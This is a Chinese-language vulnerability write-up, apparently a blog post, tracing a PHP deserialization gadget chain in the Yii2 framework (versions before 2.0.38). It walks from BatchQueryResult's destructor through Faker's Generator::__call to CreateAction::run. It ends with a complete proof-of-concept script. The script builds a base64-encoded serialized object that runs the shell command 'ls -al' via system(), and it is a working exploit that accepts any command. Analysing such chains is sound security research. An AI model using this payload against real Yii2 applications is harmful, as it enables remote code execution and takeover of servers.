Yii2 deserialization rce pop chain analysis

影响范围

  • Yii2 < 2.0.38

该框架反序列化起点在: /vendor/yiisoft/yii2/db/BatchQueryResult.php 中;

1
2
3
4
5
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}

直接析构函数出可以调用reset函数;追踪reset函数;

1
2
3
4
5
6
7
8
9
10
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}

reset函数中发现 $this->_dataReader可控,这里可以充当跳板给其赋值为任意实例化类,从而调用call方法;

全局搜索 function __call方法。最后选用/vendor/fzaninotto/faker/src/Faker/Generator.php;下的call

1
2
3
4
5
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

可以看到该类下call方法会调用fomat方法,继续回溯发现format方法下有 call_user_func_array方法;

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

继续回溯getFormatter函数

1
2
3
4
5
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

发现其依然return 这里因为formatters参数可控,所以我们可以赋值;所以该回溯点可控;

又因为$this->formatters可控;所以结合call_user_func_array,我们可以调用任意类下的任意方法,但是这里我们回溯一下$arguments,因为我们直接由最开是的析构函数直接调用了call函数,从而我们无法控制$arguments这个变量; 所以我们只能不带参数地去调用别的类中的方法。

全局搜索call_user_func函数,且两个参数都为类中的成员变量;

去到 yii\rest\CreateAction.php下;

1
2
3
4
5
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

$this->checkAccess和$this->id我们都可控从而进行污染,所以我们最后的链条也已经出来;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

解释一下那里之所以使用close,是因为我们最开始是在使用析构函数去访问close方法无果后跳到call方法的,所以其第一个参数就是不存在的方法;代码逻辑不是很难;

后续再挖补充新得pop链吧;